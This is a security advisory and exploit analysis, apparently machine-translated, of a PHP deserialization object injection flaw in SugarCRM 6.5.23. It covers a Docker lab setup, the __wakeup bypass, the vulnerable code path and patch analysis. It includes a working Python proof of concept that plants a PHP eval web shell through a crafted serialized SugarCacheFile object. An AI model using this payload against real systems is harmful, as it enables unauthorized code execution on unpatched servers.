Lucene search

K
seebugRootSSV:92404
HistorySep 12, 2016 - 12:00 a.m.

SugarCRM v6. 5. 23 PHP deserialize an object injection vulnerability

2016-09-1200:00:00
Root
www.seebug.org
369

0.02 Low

EPSS

Percentile

87.4%

**Author: p0wd3r (know Chong Yu 404 security lab)**Date: 2016-09-12

0x00 vulnerability overview

1. Vulnerability description

SugarCRM(http://www.sugarcrm.com/ is a set of open source Customer Relationship Management System. Recent researchers found in its<=6.5.23 version exists in the deserialization vulnerability, the program attacker to construct a malicious serialized data to the deserialization process, so that the attacker can be in the unauthorized State under the execution of arbitrary code.

2. Vulnerability

Unauthorized state arbitrary code execution

3. Impact version

SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP 7 is due < 7.0.10

0x01 vulnerability reproduction

1. Environment to build

Dockerfile:

``dockerfile FROM php:5.6-apache

Install php extensions

RUN echo “deb http://mirrors.163.com/debian/ jessie main non-free contrib” > /etc/apt/sources. list \ && echo “deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib” >> /etc/apt/sources. list \ && apt-get update \ && apt-get install-y libpng12-dev libjpeg-dev wget\ && docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \ && docker-php-ext-install-j$(nproc) mysqli gd zip

Download and Extract SugarCRM

RUN wget https://codeload.github.com/sugarcrm/sugarcrm_dev/tar.gz/6.5.23 -O src.tar.gz \ && tar-zxvf src.tar.gz \ && mv sugarcrm_dev-6.5.23/* /var/www/html \ && rm src.tar.gz ``

bash docker build-t sugarcrm . docker run-p 80:80 sugarcrm

2. Basis of preparation

PHP before broke a vulnerability, CVE-2016-7124 https://bugs.php.net/bug.php?id=72663 simple to say is that when the serialized string representation of the object attribute the value of the numberis greater than the real number of attributeswill skip the__wakeup implementation. Demo is as follows:

``php <? php class Student{ private $full_name = "; private $score = 0; private $grades = array();

public function __construct($full_name, $score, $grades)
{
 $this-&gt;full_name = $full_name;
 $this-&gt;grades = $grades;
 $this-&gt;score = $score;
}

function __destruct()
{
var_dump($this);
}

function __wakeup()
{
 foreach(get_object_vars($this) as $k =&gt; $v) {
 $this-&gt;$k = null;
}
 echo "Waking up...\n";
}

}

// $s = new Student(‘p0wd3r’, 123, array(‘a’ => 90, ‘b’ => 100)); // file_put_contents(‘1. data’, serialize($s)); $a = unserialize(file_get_contents(‘1. data’));

?>

``

Demo in the__wakeup to clear the object properties, and then in the__destruct will be the object information dump out. Under normal circumstances, the sequence obtained by 1. data is like this:

O:7:"Student":3:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}

We execute the script, the results are as follows:

You can see the object properties have already been cleared.

Below we will 1. data into the following like this the above 3 into a 5 or other greater than 3 digits: The

O:7:"Student":5:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}

Then execute the script and see:

You can see the object is to dump out and the property is not clear, the proof of__wakeup and not be executed.

This vulnerability is very interesting, in the following analysis, we will use it.

3. Vulnerability analysis

First of all, we see service/core/REST/SugarRestSerialize.php the serve function:

php function serve(){ $GLOBALS['log']-&gt;info('Begin: SugarRestSerialize-&gt;serve'); $data = ! empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: "; if(empty($_REQUEST['method']) || ! method_exists($this-&gt;implementation, $_REQUEST['method'])){ ... }else{ $method = $_REQUEST['method']; $data = sugar_unserialize(from_html($data)); ... } }

You can see we can control the$_REQUEST['rest_data'] the first through the from_html the data in the HTML entity encoding the partially decoded, and then passed sugar_unserialize function.

Follow sugar_unserialize function, in include/utils.php No. 5033-5048 lines:

``php /__ * Performs unserialization. Accepts all types except Objects _ * @param string $value the Serialized value of any type except Object * @return mixed False if the Object, the converted value for other cases _/ function sugar_unserialize($value) { preg_match(‘/[oc]:\d+:/i’, $value, $matches);

if (count($matches)) {
 return false;
}

return unserialize($value);

} ``

From the comments you can see the function design of the purpose is in order not to let the Object type to be deserialized, however regular not precise enough, we may be in the length of the object added before the A+number, i.e. o:14 -&gt; o:+14, you can bypass this layer of detection, so that we can control the data into the unserialize function.

A controllable point to find, then we need to find what objects can be used, in include/SugarCache/SugarCacheFile.php in the first 90-108 row:

``php public function **destruct() { parent::**destruct();

if ( $this-&gt;_cacheChanged )
 sugar_file_put_contents(sugar_cached($this-&gt;_cacheFileName), serialize($this-&gt;_localStore));

}

/__ _ This is needed to prevent unserialize vulnerability _/ public function __wakeup() { // clean all properties foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception(“Not a serializable object”); } ``

We see we prefer the magic methods, and in the__destruct using object property as a parameter to call a sugar_file_put_contents it.

Follow sugar_file_put_contents, in include/utils/sugar_file_utils.php paragraphs 131 to 149 row:

``php function sugar_file_put_contents($filename, $data, $flags=null, $context=null){ //check to see if the file exists, if not then use touch to create it. if(! file_exists($filename)){ sugar_touch($filename); }

if ( ! is_writable($filename) ) {
 $GLOBALS['log']-&gt;error("File $filename cannot be written to");
 return false;
}

if(empty($flags)) {
 return file_put_contents($filename, $data);
} elseif(empty($context)) {
 return file_put_contents($filename, $data, $flags);
} else{
 return file_put_contents($filename, $data, $flags, $context);
}

} ``

Function and not to the file content or filename, etc. to be limiting, although the parameter$data is serialize($this-&gt;_localStore), which is the serialized data, but we can set$_this-&gt;_localStore as an array, put the payload as an array of one value, you can complete and save the payload in.

So if we can pass a SugarCacheFile object and set its attribute values, we can write to the file.

However, unfortunately, the__wakeup will be in the__destroy before the call, and we can see in the__wakeup for all object attributes are cleared.

Then the How to cross this limit?

Surely we all already know, is the use we said above, PHP vulnerabilities to skip the__wakeup implementation.

Finally, the entire exploit process is as follows:

php $_REQUEST['rest_data'] -&gt; sugar_unserialize -&gt; __destruct -&gt; sugar_file_put_contents -&gt; evil_file

The PoC Demo as follows:

``python import requests as req

url = ‘http://127.0.0.1:8788/service/v4/rest.php

data = { ‘method’: ‘login’, ‘input_type’: ‘Serialize’, ‘rest_data’: ‘O:+14:“SugarCacheFile”:23:{S:17:“\00_\00_cacheFileName”;s:15:“…/custom/1.php”;S:16:“\00_\00_cacheChanged”;b:1;S:14:“\00*\00_localStore”;a:1:{i:0;s:29:“<? php eval($_POST['HHH']); ?>”;}}’, }

req. post(url, data=data) ``

脚本执行后shell位于custom/1.php to:

4. Patch analysis

In v6. 5. 24, the sugar_unserialize carried out the following improvements:

php function sugar_unserialize($value) { preg_match('/[oc]:[^:]*\d+:/i', $value, $matches); if (count($matches)) { return false; } return unserialize($value); }

Change the regular expression, so that the object type cannot be deserialized.

0x02 repair program

Upgrade SugarCRM to the v6. 5. 24 Upgrade php5 to 5. 6. 25 and above Upgrade PHP 7 is due to the 7. 0. 10 and above

0x03 reference